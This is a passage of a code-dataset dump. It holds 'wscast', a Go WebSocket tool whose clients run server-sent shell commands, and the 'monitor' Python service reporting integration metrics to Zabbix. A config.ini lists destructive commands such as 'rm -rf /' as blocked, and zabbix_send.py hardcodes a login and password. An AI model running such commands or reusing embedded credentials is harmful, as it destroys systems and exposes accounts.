dirLocal(src string) (string) {\n params := strings.Split(src, \"/\")\n\n if len(params[(len(params) - 1)]) > 0 {\n return params[(len(params) - 1)]\n }\n return \"\"\n}\n\nfunc upload(ws *websocket.Conn, filename string) {\n if Exists(filename) == false {\n clientSendMsg(ws, \"pullstatusfail\")\n return\n }\n\n file, err := os.Open(filename)\n if err != nil {\n\tpanic(err)\n }\n defer file.Close()\n\n res, err := http.Post(socketUpload + \"upload?filename=\"+filename, \"binary/octet-stream\", file)\n if err != nil {\n\tpanic(err)\n }\n defer res.Body.Close()\n message, _ := ioutil.ReadAll(res.Body)\n fmt.Printf(string(message))\n}\n\nfunc sjis_to_utf8(str string) (string, error) {\n ret, err := ioutil.ReadAll(transform.NewReader(strings.NewReader(str), japanese.ShiftJIS.NewDecoder()))\n if err != nil {\n return \"\", err\n }\n return string(ret), err\n}\n\n\nfunc clientMain(server string) { \n fmt.Println(\"login to \" + server + \" Press Ctrl+C to quit.\")\n\n socketServer := flag.String(\"server\", server, \"server address\")\n\n u := url.URL{Scheme: \"ws\", Host: *socketServer, Path: \"/\"}\n ws, _, err := websocket.DefaultDialer.Dial(u.String(), nil)\n if err != nil {\n log.Fatal(\"dial:\", err)\n }\n defer ws.Close()\n\n ws.SetReadLimit(int64(BUFFERLIMIT * 1024 * 1024))\n\n go clientReceiveMsg(ws)\n\n for {\n clientSendMsg(ws, \"heartbeatmessage\")\n if debug == true { fmt.Printf(\".\") }\n\n time.Sleep(time.Duration(HEARTBEAT) * time.Second)\n }\n\n ws.Close()\n fmt.Println(\"connection close..\")\n}\n\n\nfunc clientExecmd(command string) []byte {\n var out []byte\n var err error\n\n switch OS {\n case 1: \n out, err = exec.Command(os.Getenv(\"SHELL\"), \"-c\", command + \" 2>&1 | tee\").Output()\n if err != nil {\n log.Fatal(err)\n }\n case 2:\n out, err = exec.Command(\"cmd\", \"/C\",command).Output()\n if err != nil {\n log.Fatal(err)\n }\n }\n if debug == true { fmt.Printf(\" - - - local exec command - - - \\n%s\\n\", out) }\n return out\n}\n\nfunc clientSendMsg(ws *websocket.Conn, msg string) {\n if debug == true && msg != \"heartbeatmessage\" { { fmt.Printf(\"send: %s -> %s \\n\", []byte(msg), ws.RemoteAddr()) } }\n err := ws.WriteMessage(websocket.TextMessage, []byte(msg))\n if err != nil {\n log.Println(err)\n ws.Close()\n fmt.Println(\"connection close..\")\n os.Exit(0)\n }\n}\n\nfunc clientReceiveMsg(ws *websocket.Conn) {\n pushFilename := \"\"\n\n for {\n messageType, message, err := ws.ReadMessage()\n if err != nil {\n break\n }\n \n if messageType == websocket.TextMessage {\n fmt.Println(\"Receive Command: \" + string(message))\n if strings.HasPrefix(string(message), \"push \") == true {\n pushFilename = strings.Split(string(message), \" \")[2]\n clientSendMsg(ws, \"pushstatusok\")\n } else if strings.HasPrefix(string(message), \"pull \") == true {\n params := strings.Split(string(message), \" \")\n upload(ws, params[1])\n } else {\n result := string(clientExecmd(string(message)))\n if OS == 2 {\n result,_ = sjis_to_utf8(result)\n }\n clientSendMsg(ws, result)\n }\n } else {\n if debug == true { fmt.Printf(\"pushFilename: %s\\n\", pushFilename) }\n ioutil.WriteFile(pushFilename, message, 0644)\n }\n time.Sleep(time.Duration(HEARTBEAT) * time.Second)\n }\n}\n\nfunc serveWebSocket(wr http.ResponseWriter, req *http.Request) {\n connection, err := upgrader.Upgrade(wr, req, nil)\n if err != nil {\n fmt.Printf(\"%s | %s\\n\", req.RemoteAddr, err)\n return\n }\n defer connection.Close()\n fmt.Printf(\"\\n%s | join client!\\n\", req.RemoteAddr)\n\n if len(ActiveClients) == 0 {\n master = fmt.Sprintf(\"%s\", req.RemoteAddr)\n shell.SetPrompt(master + \">\")\n }\n\n client := connection.RemoteAddr()\n sockCli := ClientConn{connection, client, HEARTBEATCOUNT}\n addClient(sockCli)\n\n go receiveMsg(connection)\n\n for {\n count := 1\n for client, _ := range ActiveClients {\n if client.live == 0 {\n logoutClient(IPtoString(client))\n } else {\n sockCli := ClientConn{client.websocket, client.clientIP, (client.live - 1)}\n changeClient(client, sockCli)\n }\n count = count + 1\n }\n\n if clientsAlert > 0 && clientsAlert > len(ActiveClients) {\n fmt.Printf(\"NOTICE: clients low %d / %d\\n\",len(ActiveClients), clientsAlert)\n }\n\n if readFlag == false && len(syncFilename) > 0 {\n if Exists(dirLocal(syncFilename)) == true {\n checksumFile(syncFilename)\n }\n }\n\n if (readFlag == true) {\n if len(ActiveClients) == len(readBuffer) || anycast == false || pushServer != \"\" {\n readFlag = false\n \n if len(syncFilename) > 0 {\n masterBuffer := masterBuffersearch()\n sflag := 0\n for i := 0; i < len(readBuffer); i++ {\n if masterBuffer != readBuffer[i][0] && readBuffer[i][1] != master {\n targClient := getClient(i + 1)\n fmt.Printf(\" - - - (%d: %s) File Diff!!! and push - - - \\n\", (i + 1) , targClient)\n if debug == true { fmt.Printf(\" cksum: %s\\n\", readBuffer[i][0]) }\n\n broadcastMessage(websocket.TextMessage, []byte(\"push \" + dirLocal(syncFilename) + \" \" + syncFilename), true, readBuffer[i][1])\n pushFilename = syncFilename\n pushServer = readBuffer[i][1]\n syncFlag = true\n sflag = sflag + 1\n }\n }\n if sflag == 0 { \n fmt.Printf(\"all file same %d server\\n\", len(ActiveClients))\n if syncFlag == true { rmFile(dirLocal(pushFilename)) }\n } else { fmt.Printf(\"diff file %d / %d\\n\", sflag, len(ActiveClients)) }\n syncFilename = \"\"\n } else if len(pushFilename) > 0 {\n if syncFlag == true { \n push(websocket.BinaryMessage, dirLocal(pushFilename))\n rmFile(dirLocal(pushFilename))\n } else {\n push(websocket.BinaryMessage, pushFilename)\n }\n pushFilename = \"\"\n pushServer = \"\"\n } else if len(autoChecksum) > 0 {\n checksumFile(autoChecksum)\n autoChecksum = \"\"\n } else {\n if len(ActiveClients) == 1 || anycast == false {\n if anycast == true { fmt.Printf(\"not diff: single client.\") }\n readBuffer = nil\n readFlag = false\n autoChecksum = \"\"\n } else {\n //fmt.Printf(\"master: %d\\n\",master)\n masterBuffer := masterBuffersearch()\n //fmt.Printf(\"masterBuffer: %s\\n\",masterBuffer)\n diffFlag := 0\n for i := 0; i < len(readBuffer); i++ {\n if masterBuffer != readBuffer[i][0] && readBuffer[i][1] != master {\n targClient := getClient(i + 1)\n fmt.Printf(\" - - - Diff!!! - - -\\n (%d: %s)\\n%s\\n\", (i + 1), targClient, readBuffer[i])\n diffFlag = diffFlag + 1\n }\n }\n if diffFlag == 0 {\n fmt.Println(\" - - - not Diff! - - -\")\n } else {\n fmt.Printf(\" - - - Total Diff %d / %d - - - \\n\",diffFlag,len(ActiveClients))\n }\n }\n }\n readBuffer = nil\n }\n }\n time.Sleep(time.Duration(HEARTBEAT) * time.Second)\n }\n}\n"
},
{
"alpha_fraction": 0.8146143555641174,
"alphanum_fraction": 0.8538565635681152,
"avg_line_length": 27.384614944458008,
"blob_id": "fe9f2811789edf086e4765375f1b3229b9475b44",
"content_id": "a8aa87717b99045e7d5c2bf493c7c0fd30550129",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1423,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 26,
"path": "/README.md",
"repo_name": "yasutakatou/wscast",
"src_encoding": "UTF-8",
"text": "\n![wscast](https://github.com/yasutakatou/wscast/blob/pictu/capture2.gif)\n\n#### ざっくりした動かしかた\n\ngolangでbuildしたバイナリを動かしてください。<br>\nライブラリが足りないのはgoが新しければGo Modulesで自動で解決されるし、古ければgo getなりで環境を整えてください。<br>\nWindows用にコンパイルするなら以下のようにクロスコンパイルします。<br>\n\nGOOS=windows GOARCH=386 CC=i686-w64-mingw32-gcc go build wscast.go\n\nチェックサム確認用に使っているwhich cksumを起動時に実行して失敗するようならWindows環境と判別します。<br>\nツール作った当時はcksumデフォでしたが、新しいLinuxには入っていないこともあるようでパッケージマネージャなりから入れてください。<br>\n\nクライアント側にしたい場合は環境変数SERVERを設定します。\n\nexport SERVER=192.168.0.100:8080<br>\n(Windowsならset SERVER)\n\n指定しないと8080で待ち受けるサーバーになります。<br>\nconfig.iniがバイナリ起動時に読めないと起動できないのでバイナリと同じフォルダに置いてください。\n\nJupyterのkernelは作り方が良く分からないので\n\nhttps://github.com/jupyter/echo_kernel\n\nを組み込んでこのリポジトリのkernel.pyを上書きしてあげれば**とりあえず**動きます\n"
},
{
"alpha_fraction": 0.46513301134109497,
"alphanum_fraction": 0.5053917765617371,
"avg_line_length": 33.66666793823242,
"blob_id": "9fbe55470f5bbeb6c42cb26a382020de9e1f8628",
"content_id": "0d4190748e087a46a880701fa9dfbf21c8d21d39",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1391,
"license_type": "no_license",
"max_line_length": 174,
"num_lines": 39,
"path": "/kernel.py",
"repo_name": "yasutakatou/wscast",
"src_encoding": "UTF-8",
"text": "from ipykernel.kernelbase import Kernel\r\nimport pexpect\r\nfrom time import sleep\r\nimport sys\r\n\r\n# expect_list = [r\".*(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\\.){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):([1-9][0-9]{3}|[1-9][0-9]{2}|[1-9][0-9]{1}).*\", r\".*>>>.*\"]\r\n\r\nexpect_list = [\"- - - - - -\"]\r\n\r\np = pexpect.spawn(\"/usr/local/bin/wscast\")\r\n\r\nclass EchoKernel(Kernel):\r\n implementation = 'Echo'\r\n implementation_version = '1.0'\r\n language = 'no-op'\r\n language_version = '0.1'\r\n language_info = {\r\n 'name': 'Any text',\r\n 'mimetype': 'text/plain',\r\n 'file_extension': '.txt',\r\n }\r\n banner = \"Echo kernel - as useful as a parrot\"\r\n\r\n def do_execute(self, code, silent, store_history=True, user_expressions=None,\r\n allow_stdin=False):\r\n if not silent:\r\n p.send(code + '\\n')\r\n sleep(1)\r\n p.expect('.*- - - - - -.*')\r\n hstring = p.after.decode(encoding='utf-8', errors='replace')\r\n stream_content = {'name': 'stdout', 'text': hstring }\r\n self.send_response(self.iopub_socket, 'stream', stream_content)\r\n\r\n return {'status': 'ok',\r\n # The base class increments the execution count\r\n 'execution_count': self.execution_count,\r\n 'payload': [],\r\n 'user_expressions': {},\r\n }\r\n"
},
{
"alpha_fraction": 0.6850000023841858,
"alphanum_fraction": 0.699999988079071,
"avg_line_length": 8.090909004211426,
"blob_id": "fee778b8e5572490b8c8a7f26774524d44dcfd02",
"content_id": "6aa942a3bc011924c65d369c8a15f82143359725",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "INI",
"length_bytes": 200,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 22,
"path": "/config.ini",
"repo_name": "yasutakatou/wscast",
"src_encoding": "UTF-8",
"text": "[lock]\nrm -rf /\nshutdown\npoweroff\nhalt\nreboot\n\n[yesno]\nupdatedb\ndu -d 1 -h\n\n[notice]\nuname:Kernel verion output is -a\nifconfig:old command! use ip\n\n[alias]\nls:ls -la\nps:ps -ef\n\n[checksum]\ncp:2\necho:3\n"
}
] | 4 |
ProstakovAlexey/monitor | https://github.com/ProstakovAlexey/monitor | 901858f56678803cf9fbc261ff8a25e9389d4479 | 4eb9a2ac681a937968c328b7c1d1f07977b14fb3 | 26fda7ede01798850f200c8319ac6b25eb65242a | refs/heads/master | 2021-01-11T19:05:29.196899 | 2017-05-29T08:13:42 | 2017-05-29T08:13:42 | 79,313,799 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6355633735656738,
"alphanum_fraction": 0.63908451795578,
"avg_line_length": 32.382354736328125,
"blob_id": "202a293b8c6a2baa36de90395e232c45eeb9bd1a",
"content_id": "f3f1a83fa600e510cde39e344dd92a225f97d6eb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1436,
"license_type": "no_license",
"max_line_length": 96,
"num_lines": 34,
"path": "/ftp.py",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nimport datetime\nimport getInfo\nimport cgi\nimport json\nimport ftplib\n\n\nif __name__ == \"__main__\":\n # Сразу заполним дату\n res = dict(date=datetime.datetime.strftime(datetime.datetime.now(), '%d.%m.%Y %H:%M:%S'))\n # Заполним блок с информацией и код ошибки\n res['info'], res['errorCode'] = getInfo.getResult()\n # Заполняем фразу сообщение об ошибке\n res = json.dumps(cgi.get_err_message(res), sort_keys=True, indent=4, separators=(',', ': '))\n # Прочитать конфиг для соединения с ФТП\n db, ftp, err = getInfo.readConfig()\n # Проверить отсутствие ошибок при чтение конфига\n if err:\n # Не удалось прочитать файл\n print('Не удалось прочесть конфигурационный файл')\n exit(1)\n # Save\n open('monitor.json', 'w').write(res)\n # Устанавливаем соединение с сервером\n con = ftplib.FTP(ftp['address'], ftp['user'], ftp['password'])\n # Переходим в папку\n con.cwd('home')\n # Передаем файл на сервер\n with open('monitor.json', 'rb') as fp:\n send = con.storbinary(\"STOR monitor.json\", fp)\n # Закрываем FTP соединение\n con.close()\n exit(0)\n\n"
},
{
"alpha_fraction": 0.6739130616188049,
"alphanum_fraction": 0.7260869741439819,
"avg_line_length": 16.615385055541992,
"blob_id": "9251431ad07053b2c594d3beb808f50cb39974bc",
"content_id": "929f4bf6a900e4331cbb2daba5dcc9c163e4b948",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "INI",
"length_bytes": 309,
"license_type": "no_license",
"max_line_length": 71,
"num_lines": 13,
"path": "/config.ini",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "[BD]\n# Имя БД\nname = SocPortal2\n# Для win именованные экземпляры записываются так, для linux через порт\naddress = mig\\sql2012\n# Это параметры по умолчанию\n;port = 1433\n;user = sa\n;password = 111\n[FTP]\nuser =\npassword =\naddress =\n\n"
},
{
"alpha_fraction": 0.7313649654388428,
"alphanum_fraction": 0.7371732592582703,
"avg_line_length": 54.81081008911133,
"blob_id": "19646c82395515254215a8680af8dd3e34ae770d",
"content_id": "3ea714e30f8bd8b2b7bcf30cfebf993b4431cfe1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 3404,
"license_type": "no_license",
"max_line_length": 381,
"num_lines": 37,
"path": "/doc/source/ref.rst",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "Описание программы\n==================\n\nНазначение\n----------\nПрограмма мониторинга Monitor предназначена для мониторинга ТИ совместно с системой Zabbix. Может сообщать следующие параметры ТИ:\n - кол-во СМЭВ запросов, направленных ТИ;\n - кол-во предоставленных ТИ ответов на СМЭВ запросы, пришедших из сторонних ИС;\n - кол-во заявлений ПГУ/МФЦ полученных ТИ;\n - кол-во ответов на заявления ПГУ/МФЦ.\n\n.. _Состав:\n\nСостав\n------\nПрограмма написана на языке Python3 и использует стороннюю библиотеки pypyodbc для работы с БД. \nПрограмма состоит из 2-х основных частей:\n\n 1. Cерверная часть. Устанавливается на сервер с ТИ, работает с IIS.\n - config.ini - файл с конфигурацией, для подсоединения к БД;\n - errorCode.txt - коды ошибок и их описание (вы можете дополнить/изменить описания);\n - cgi.py - веб-приложение;\n - getInfo.py - хранит функции для извлечения информации из БД;\n - sendRequest.py - функция запроса к веб-сервису;\n - tests.py - тесты для проверки работоспособности сервиса;\n 2. Клиентская часть. Устанавливается на компьютера в Zabbix.\n - sendRequest.py - функция запроса к веб-сервису;\n - monitorRequest.py - программа клиент, отправляет запросы на сервер.\n 3. Документация. Находится в папке doc/\n\nПринцип работы\n--------------\n 1. Серверная часть устанавливается на IIS и ожидает запроса по адресу http://IP/monitor/cgi.py.\n 2. Клиентская часть устанавливается на сервер с Zabbix. \n 3. Настраивается Zabbix агент, который обращается к клиентской программе, передавая в качестве параметра нужный вид сведений.\n 4. Клиентская программа отправляет запрос на сервер и получает ответ сразу по всем видам сведений. Далее оне извлекает только нужные сведения и возвращает их как ответ Zabbix агенту. Ответ это целое число >=0, если в ответ пришла -1 это ошибка. При правильно установленной и проверенной серверной части может возникнуть только из неработоспособности IIS или SQL, важный сигнал!\n 5. Zabbix использует ответ для построения своих графиков и прочего.\n\n"
},
{
"alpha_fraction": 0.7741330862045288,
"alphanum_fraction": 0.775070309638977,
"avg_line_length": 54.94736862182617,
"blob_id": "d343894100458a29fe2f664d5542883528b0caee",
"content_id": "0e8dd2472571b9885baf34a462de62c1104c894f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1839,
"license_type": "no_license",
"max_line_length": 186,
"num_lines": 19,
"path": "/README.md",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "Monitor. Система мониторинга ТИ \n===============================\nПрограмма Monitor предназначена для мониторинга точки интеграции(ТИ) совместно с системой Zabbix. Может сообщать следующие параметры ТИ:\n\n- кол-во СМЭВ запросов, направленных ТИ;\n- кол-во предоставленных ТИ ответов на СМЭВ запросы, пришедших из сторонних ИС;\n- кол-во заявлений ПГУ/МФЦ полученных ТИ;\n- кол-во ответов на заявления ПГУ/МФЦ;\n- кол-во обращений для получение инф. с ТИ в АСП;\n- кол-во обращений для отправка инф. из АСП на ТИ.\n\nПрограмма написана на языке python3 и использует для работы веб-сервер IIS. Я постарался писать код максимально просто и понятно, снабжая его комментариями. \nНадеюсь, что будут желающие в нем разбираться, вносить изменения. Так же программа снабжена документацией, написанной на sphinx, ее откоплированный вариант лежит в папке doc\\build\\html\\.\nПеред использование рекомендую ознакомится с документацией, она совсем не большая.\n\nЗамечания и пожелания по работе, а так же исправления можете высылать мне на электронную почту.\n\nС уважением, Простаков Алексей.\[email protected]\n\n \n\n"
},
{
"alpha_fraction": 0.5493087768554688,
"alphanum_fraction": 0.5655299425125122,
"avg_line_length": 35.904762268066406,
"blob_id": "26d94d8effcb6dbc5c677c30a7d6f45444ff0128",
"content_id": "0a653f33b354fbfc2de0917b5b59bc741bed9863",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6656,
"license_type": "no_license",
"max_line_length": 120,
"num_lines": 147,
"path": "/cgi.py",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nimport sys\nimport codecs\nimport os\nimport csv\nimport datetime\nimport getInfo\nimport json\nimport time\n\n\"\"\"\nВеб-сервис, возвращает по нему результат (виды сведений) или ошибку.\nВиды сведений:\n - requestSmev - кол-во отравленных в СМЭВ запросов\n - requestPGU - кол-во принятых с ПГУ/МФЦ заявлений\n - responsePGU - кол-во возвращенных на ПГУ/МФЦ статусов\n - responseSmev - кол-во ответов на СМЭВ запросы\n - test - тестовый запрос, позвращает результат = 10\n - loadToASP - Выгрузка с ТИ\n - loadToTI - загрузка на ТИ\n\nНормальный вызов - http://127.0.0.1/monitor/cgi.py\nОшибка - http://127.0.0.1/monitor/cgi.py/error\nТестовый вызов - http://127.0.0.1/monitor/cgi.py/test\n\nПример ответа (данные):\n {\n \"date\": \"16.01.2017 13:40:53\",\n \"errorCode\": 0,\n \"errorMessage\": \"\",\n \"info\": {\n \"requestPGU\": 584,\n \"requestSmev\": 534,\n \"responsePGU\": 0,\n \"responseSmev\": 0,\n \"loadToASP\": 0,\n \"loadToTI\": 0\n }\n }\n\"\"\"\n\n\ndef get_err_message(dict_res):\n \"\"\"\n Получает готовый словарь результата, заполняет в нем сообщение об ошибки\n :param dict_res:\n :return: возвращает словарь с проставив в него сообщение об ошибке\n \"\"\"\n if dict_res['errorCode'] == 0:\n dict_res['errorMessage'] = \"\"\n else:\n dict_res['errorMessage'] = 'Неизвестный код ошибки'\n with open('errorCode.txt', 'r', encoding='utf-8') as csvfile:\n lines = csv.reader(csvfile, delimiter=';')\n for row in lines:\n try:\n if int(row[0]) == dict_res['errorCode']:\n # Нашли соответствие кода\n dict_res['errorMessage'] = row[1].strip()\n break\n except:\n print('В файле с кодами ошибок попалась не форматная строка. Нужно писать: 99; Описание ошибки')\n return dict_res\n\n\ndef response():\n \"\"\"\n Готовит ответ в полном формате и записывает его в кэш\n :return: возвращает словарь данными\n \"\"\"\n # Сразу заполним дату\n res = dict(date=datetime.datetime.strftime(datetime.datetime.now(), '%d.%m.%Y %H:%M:%S'))\n # Заполним блок с информацией и код ошибки\n res['info'], res['errorCode'] = getInfo.getResult()\n # Заполним сообщение об ошибке\n res = get_err_message(res)\n # Сохранить в кэш\n save_json_cache(res)\n return res\n\n\ndef save_json_cache(json_data):\n \"\"\"\n Сохраняет в кэш результат\n :param json:\n :return:\n \"\"\"\n # Делаю абсолютный путь, исходя из того, где лежит данный файл\n cache_name = os.path.join(os.getcwd(), 'cache.json')\n with open(cache_name, 'w', encoding='utf-8') as json_file:\n json_file.write(json.dumps(json_data, sort_keys=True, indent=4, separators=(',', ': ')))\n\nif __name__ == \"__main__\":\n # Нужно, чтобы отвечал в UTF-8\n sys.stdout = codecs.getwriter(\"utf-8\")(sys.stdout.detach())\n # Получает параметры, переданные веб-сервером.\n # Пример списка с параметрами param = ('127.0.0.1', 'monitor', 'cgi.py', 'error')\n param = os.environ['PATH_INFO'].split('/')\n err = 0\n result = None\n # Пустой, значить надо ответить все\n if len(param) == 3:\n cache_name = 'cache.json'\n # Проверить, есть ли кэш и не старше ли он 10 минут\n if os.access(cache_name, os.F_OK) and ((time.time() - os.path.getmtime(cache_name))/60 < 10):\n # Прочитать его\n try:\n with open(cache_name, 'r', encoding='utf-8') as json_file:\n result = json.loads(json_file.read(), encoding='utf-8')\n except:\n # При чтении файла или его разборе в XML возникли ошибки, кэш кто-то подпортил. Получим новый результат.\n result = response()\n else:\n # Получаем ответ, при получении он так же записывается в кэш\n result = response()\n # Есть какие-то параметры\n elif len(param) > 3:\n method = param[3]\n # Это метод для тестирование, он всегда возвращает результат = 20\n if method == 'test':\n result = dict(date=datetime.datetime.strftime(datetime.datetime.now(), '%d.%m.%Y %H:%M:%S'),\n errorCode=0,\n info=dict(test=20)\n )\n result = get_err_message(result)\n # Это метод для тестирования всегда возращает ошибку с кодом 42\n elif method == 'error':\n result = dict(date=datetime.datetime.strftime(datetime.datetime.now(), '%d.%m.%Y %H:%M:%S'),\n errorCode=42\n )\n result = get_err_message(result)\n # Неизвестный метод, код ошибки 2\n else:\n result = dict(date=datetime.datetime.strftime(datetime.datetime.now(), '%d.%m.%Y %H:%M:%S'),\n errorCode=2\n )\n result = get_err_message(result)\n\n # Преобразуем результат в строку\n result = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '))\n # Добавляем заголовки\n print(\"Content-Type: application/json; charset=utf-8\")\n print(\"Content-Length:\", len(result.encode('utf-8')))\n print(\"Cache-control:\", \"no-cache\")\n print()\n # Возврат результата\n print(result)\n"
},
{
"alpha_fraction": 0.5388127565383911,
"alphanum_fraction": 0.5464231371879578,
"avg_line_length": 46.60869598388672,
"blob_id": "a09b71eb772c0c771581bc63b71d1cac0dce217e",
"content_id": "5a7f4811b4930c01a562650f5b147d496dba5269",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4066,
"license_type": "no_license",
"max_line_length": 116,
"num_lines": 69,
"path": "/monitorRequest.py",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python3\n# -*- coding: utf-8 -*-\nimport sendRequest\nimport argparse\nimport logging\nimport time\nimport os\nimport json\n\n\n\"\"\" Отправляет запрос на получение данных из протокола. Метода получает как входной параметр, результат запроса\nвыдает к ком. строку. -1 - ошибка, иначе число больше или равно 0\n\"\"\"\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Программа делает запрос к сервису мониторинга ТИ')\n parser.add_argument('-a', metavar='addr', type=str, help='Имя файла или IP адрес сервера для запроса')\n parser.add_argument('-p', metavar='port', type=int, help='Порт сервера для запроса. Если через файл, то = 1')\n parser.add_argument('-s', metavar='site', type=str, help='Сайт')\n parser.add_argument('-m', metavar='method', type=str, help='Вид сведений. Возможные значения: '\n 'requestSmev - запросы в СМЭВ; '\n 'requestPGU - заявления от ПГУ/МФЦ; '\n 'responsePGU - ответы на заявления ПГУ/МФЦ; '\n 'responseSmev - ответы на СМЭВ запросы; '\n 'loadToASP - получение инф. с ТИ в АСП; '\n 'loadToTI - отправка инф. из АСП на ТИ.')\n\n logging.basicConfig(filename=os.path.join(os.getcwd(), 'monitorRequest.log'), filemode='a', level=logging.DEBUG,\n format='%(asctime)s %(levelname)s: %(message)s')\n logging.info('Программа запущена')\n args = parser.parse_args()\n logging.debug('Программа вызвана с аргументами: %s' % args)\n res = -1\n if not args.p:\n port = 80\n else:\n port = int(args.p)\n # Проверяем входные параметры\n if not (args.m in ('requestSmev', 'requestPGU', 'responsePGU', 'responseSmev', 'loadToASP', 'loadToTI')):\n print('Программа вызвана с неправильным видом сведений, используйте -h для справки')\n logging.info('Программа вызвана с неправильным видом сведений')\n exit(1)\n else:\n # Проверим, как получить результат через веб-сервис или файл\n result = None\n err = 0\n if port == 1:\n # Получаем через файл\n try:\n result = open(args.a, mode='r', encoding='utf-8').read()\n result = json.loads(result, encoding='utf-8')\n # Если файл старше 60 мин, то это ошибка\n if (time.time() - os.path.getmtime(args.a))/60 > 60:\n logging.error('Файл %s старше 60 мин, не сработала передача по FTP' % args.a)\n err = 1\n except:\n err = 1\n logging.critical('Не смог прочитать файл %s' % args.a)\n else:\n # Получаем через веб-сервис\n result, err = sendRequest.sendRequest(addr=args.a, port=port, site=args.s)\n logging.info('Получен результат: %s. Ошибки: %s' % (result, err))\n if err or result['errorCode']:\n res = -1\n else:\n res = result['info'][args.m]\n logging.info('Программа работу закончила')\n print(res)\n exit(0)\n"
},
{
"alpha_fraction": 0.6903353333473206,
"alphanum_fraction": 0.7218934893608093,
"avg_line_length": 24.399999618530273,
"blob_id": "5cf6380333ec97aba5f2f857f30a24e0b8307816",
"content_id": "b6eaf615eebfad4397e995f98214af122a9dd36f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 507,
"license_type": "no_license",
"max_line_length": 92,
"num_lines": 20,
"path": "/zabbix_send.py",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*-\nfrom zabbix.api import ZabbixAPI\nfrom pyzabbix import ZabbixMetric, ZabbixSender\n\n# Create ZabbixAPI class instance\nzapi = ZabbixAPI(url='http://192.168.0.18/zabbix/', user='Prostakov', password='fish13')\n\n# Get all monitored hosts\nresult1 = zapi.host.get(monitored_hosts=1, output='extend')\n\npacket = [\n ZabbixMetric('lip', 'trap', \"2\"),\n\n]\n\nresult = ZabbixSender(use_config=True).send(packet)\n\n# Filter results\nhostnames1 = [host['host'] for host in result1]\nprint(hostnames1)"
},
{
"alpha_fraction": 0.7070707082748413,
"alphanum_fraction": 0.7236363887786865,
"avg_line_length": 45.622642517089844,
"blob_id": "bdd87498ccd9d324268f86a81d25d0ea4e4e14f1",
"content_id": "1fac16d413f50405997893f941ca5f8b964650f3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "reStructuredText",
"length_bytes": 3813,
"license_type": "no_license",
"max_line_length": 119,
"num_lines": 53,
"path": "/doc/source/install_client.rst",
"repo_name": "ProstakovAlexey/monitor",
"src_encoding": "UTF-8",
"text": "Клиентская часть \n================\n.. |Сопоставление обработчиков| image:: _static/obr_1.jpg\n\nУстановка выполняется на любом сервере, который может обратится в 80 порты ТИ и отправлять данные на Zabbix сервер.\n\nУстановка\n---------\nПрограмма написано и была проверена на python 3.5, но я думаю она будет работать под любым python3.\n\n1. Установите python3 (https://www.python.org/downloads/). При установке обратите внимание, что надо ставить для всех\nпользователей и добавить python в **Path**.\n2. Создайте произвольную папку и скопируйте туда файлы клиентской части - :ref:`Состав`.\n\nПроверка работы\n---------------\n1. Проверку работы клиентской части нужно проводить только после успешной установки и проверки работы серверной части.\n2. Откройте CMD(от пользователя) и перейдите в папку с установленной клиентской часть.\n3. Выполните команду: `python monitorRequest.py -h`. Должна появится справка::\n\n usage: monitorRequest.py [-h] [-a addr] [-p port] [-s site] [-m method]\n\n Программа делает запрос к сервису мониторинга ТИ\n\n optional arguments:\n -h, --help show this help message and exit\n -a addr Имя или IP адрес сервера для запроса\n -p port Порт сервера для запроса\n -s site Сайт\n -m method Вид сведений. Возможные значения: requestSmev - запросы в СМЭВ;\n requestPGU - заявления от ПГУ/МФЦ; responsePGU - ответы на\n заявления ПГУ/МФЦ; responseSmev - ответы на СМЭВ запросы;\n loadToASP - получение инф. с ТИ в АСП; loadToTI - отправка инф.\n из АСП на ТИ.\n\n4. Попробуйте запрос на виды сведений, например на кол-во запросов в СМЭВ::\n\n python monitorRequest.py -a 192.168.0.104 -p 80 -s monitor -m requestSmev\n\nРезультат - число больше 0, если -1 - по возникла ошибка.\n5. Если Вы используете передачу через ftp, то команда для получения чтения данных::\n\n monitorRequest.py -a Z:\\Tumen\\monitor.json -p 1 -s monitor -m requestSmev\n\nТ.к. Z: это сетевой диск, на который наши коллеги заливают через ftp файл, то он должен быть доступен для Zabbix.\n\n\nРабота клиентской части\n-----------------------\nНиже приведу примеры вызова клиентской программы, которые Вы можете использовать для интеграции с Zabbix и подобными\nсистемами. Обратите внимание, что данные кэшируются, чтобы избежать лишней нагрузки на сервер. Данные возвращаются за\nпоследний час, т.е. если Вы вызвали программу в 11:34, то придут данные с 10:34-11:34, более подробно можете посмотреть\nв :ref:`server_work`.\n\n\n\n\n"
},
{
"alpha_fraction": 0.6294492483139038,
"alphanum_fraction": 0.6386576890945435,
"avg_line_length": 68.72222137451172,
